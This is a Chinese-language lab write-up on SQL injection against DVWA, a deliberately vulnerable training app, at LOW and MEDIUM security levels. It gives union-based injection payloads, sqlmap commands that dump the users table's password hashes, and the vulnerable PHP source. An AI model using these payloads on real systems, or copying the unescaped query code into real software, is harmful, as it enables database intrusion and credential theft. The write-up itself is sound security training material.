DVWA学习之SQL注入
DVWA学习之SQL注入
环境工具
dvwa 1.9
phpstudy
firefox
burpsuite
实验步骤
一、设置安全级别为LOW
1. 登录DVWA,并将安全级别设置为LOW

2. 进入SQL注入模块,并输入1,返回结果如下

3. 下面判断注入类型是字符型注入还是整数型注入
字符型注入的SQL语句形如
select * from xx where id='$id'
整数型注入的SQL语句形如
select * from xx where id=$id
(1) 分别输入 1 and 1=1 和 1 and 1=2,都能返回正常结果

说明不是整数型注入,因为如果是整数型注入,执行select * from xx where id=1 and 1=2 时应报错。
(问:select * from xx where id='1 and 1=2' 这里应该不返回结果才对?)
(2) 输入 1’ or '1'='1 ,返回所有结果

4. 获取列数
(1) 1' or '1'='1' order by 3 #

(2) 1' or '1'='1' order by 2 #

说明表中的数据共两列
5. 获取数据库名
1' union select 1, database() #

6. 获取数据库中的表名
1' or '1'='1' union select 1,table_name from information_schema.tables where table_schema=database() #

获取guestbook, users 两张表
7. 获取users表中的列名
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users' #

8. 获取users 表中的用户名密码
1' union select user,password from users #

用sqlmap 实现SQL注入
1. 尝试直接用url,发现结果跳转到登录页面,所以需要cookie
2. 带上cookie参数
python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1"

3. 使用--batch 参数,可以让sqlmap为我们自动填写执行选项
python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" --batch
4. 使用--dbs 获取所有的数据库
python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" --dbs

5. 使用-D指定数据库,--tables 查看数据中的表
python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" --D dvwa --tables

6. 用-D xxx -T xxx 指定表,--columns查看表的列
python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" --D dvwa -T users --columns
7. 用-C xxx --dump 输出指定列的数据
python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" -D dvwa -T users -C first_name,last_name,password --dump

(sqlmap 还可以爆破hash密码)
附录
服务器核心代码(LOW)
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>
二、设置安全级别为MEDIUM
1. 设置dvwa的安全级别为medium
2. sql注入界面随便选择id,返回正确结果

此时没有输入框,但可以通过burpsuite抓包的形式进行注入
3. 在burpsuite中修改id参数,即可实现注入

medium 的代码中添加了对特殊字符的转义,但由于medium为数字型注入,用不上引号,所以可以用跟字符型注入同样的方式进行注入
Sqlmap 实现注入
1. 用burpsuite 捕获正常的数据包,然后右键,选择 "copy to file",保存为sql_dvwa.txt

2. 启动sqlmap进行注入
python sqlmap.py -r sql_dvwa.txt
其他操作同上
附录
服务器核心代码如下(medium)
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id );
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Display values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
//mysql_close();
}
?>
DVWA学习之SQL注入的更多相关文章
- python之MySQL学习——防止SQL注入
python之MySQL学习——防止SQL注入 学习了:https://www.cnblogs.com/xiaomingzaixian/p/7126840.html https://www.cnblo ...
- Web安全学习笔记 SQL注入下
Web安全学习笔记 SQL注入下 繁枝插云欣 --ICML8 SQL注入小技巧 CheatSheet 预编译 参考文章 一点心得 一.SQL注入小技巧 1. 宽字节注入 一般程序员用gbk编码做开发的 ...
- Web安全学习笔记 SQL注入上
Web安全学习笔记 SQL注入上 繁枝插云欣 --ICML8 SQL注入分类 SQL注入检测 一.注入分类 1.简介 SQL注入是一种代码注入技术用于攻击数据驱动的应用程序在应用程序中,如果没有做恰当 ...
- Web安全学习笔记 SQL注入中
Web安全学习笔记 SQL注入中 繁枝插云欣 --ICML8 权限提升 数据库检测 绕过技巧 一.权限提升 1. UDF提权 UDF User Defined Function,用户自定义函数 是My ...
- SQL学习之SQL注入总结
Sql注入定义: 就是通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行的sql命令的目的. sql注入分类: 基于联合查询 基于错误回显 基于盲注,分时间盲 ...
- SQL学习之SQL注入学习总结
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 测试数据库 我们本文就以如下数据库作为测试数据库,完成我们的注入分析 ...
- 注入学习1:SQL注入语句大全
学习背景 之前做了xss预防,以及些许的注入预防了,但是不够全面,如果还是搜集了下一些常用的注入手段,以此用来进行更好的预防. 什么是注入 一般来说,SQL注入一般存在于形如:HTTP://xxx.x ...
- Web安全测试学习笔记-SQL注入-利用concat和updatexml函数
mysql数据库中有两个函数:concat和updatexml,在sql注入时经常组合使用,本文通过学习concat和updatexml函数的使用方法,结合实例来理解这种sql注入方式的原理. con ...
- 1.3 DVWA亲测sql注入漏洞
LOW等级 我们先输入1 我们加上一个单引号,页面报错 我们看一下源代码: <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input ...
随机推荐
- SpringBoot整合MybatisPlus3.X之Wrapper(五)
官方文档说明: 以下出现的第一个入参boolean condition表示该条件是否加入最后生成的sql中 以下代码块内的多个方法均为从上往下补全个别boolean类型的入参,默认为true 以下出现 ...
- hystrix原理
一.hystrix 产生背景 微服务是解决复杂服务的一个方案,在功能不变的情况下,对一个复杂的单体服务分解为多个可管理的分支.每个服务作为轻量的子服务,通过RPC实现服务间的关联,将服务简单化.每个服 ...
- ArangoDB简单实例介绍
数据介绍: 2008美国国内航班数据 airports.csv flights.csv 数据下载地址:https://www.arangodb.com/graphcourse_demodata_ara ...
- Stringbuilder常用方法
一.创建Stringbuilder对象StringBuilder strB = new StringBuilder(); 1.append(String str)/append(Char c):字符串 ...
- 卷积神经网络详细讲解 及 Tensorflow实现
[附上个人git完整代码地址:https://github.com/Liuyubao/Tensorflow-CNN] [如有疑问,更进一步交流请留言或联系微信:523331232] Reference ...
- 自己实现 aop 和 spring aop
上文说到,我们可以在 BeanPostProcessor 中对 bean 的初始化前化做手脚,当时也说了,我完全可以生成一个代理类丢回去. 代理类肯定要为用户做一些事情,不可能像学设计模式的时候创建个 ...
- Project Euler 58: Spiral primes
从一开始按以下方式逆时针旋转,可以形成一个边长为七的正方形螺旋: 一个有趣的现象是右下对角线上都有一个奇完全平方数,但是更有趣的是两条对角线上的十三个数中有八个数是素数(已经标红),也就是说素数占比为 ...
- js解析json报错Unexpected token i in JSON at position 1
因为后台json是手动拼接的,在拼接时偷了懒,不想转义,所以就用了单引号,结果js解析时悲催了 这里记录一下,被解析的json字符串必须键值对都用双引号包起来,必须是双引号 默默罚抄一百遍
- python多进程总结
概述 由于python中全局解释器锁(GIL)的存在,所以python多线程并不能有效利用CPU多核的性能(相当于单核并发)实现多线程多核并行,所以在对CPU密集型的程序时处理效率较低,反而对IO密集 ...
- 大数据HDFS相关的一些运维题
1.在 HDFS 文件系统的根目录下创建递归目录“1daoyun/file”,将附件中的BigDataSkills.txt 文件,上传到 1daoyun/file 目录中,使用相关命令查看文件系统中 ...